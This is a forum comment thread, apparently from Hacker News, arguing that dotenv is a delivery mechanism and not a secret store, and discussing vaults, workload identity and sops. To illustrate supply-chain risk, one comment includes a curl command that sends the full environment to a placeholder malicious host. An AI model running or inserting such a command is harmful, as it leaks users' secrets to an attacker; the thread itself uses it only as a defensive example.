My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
replyProcesses and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
replyIt's not a secret store. It's an IPC mechanism. Secret stores are built on top of it.
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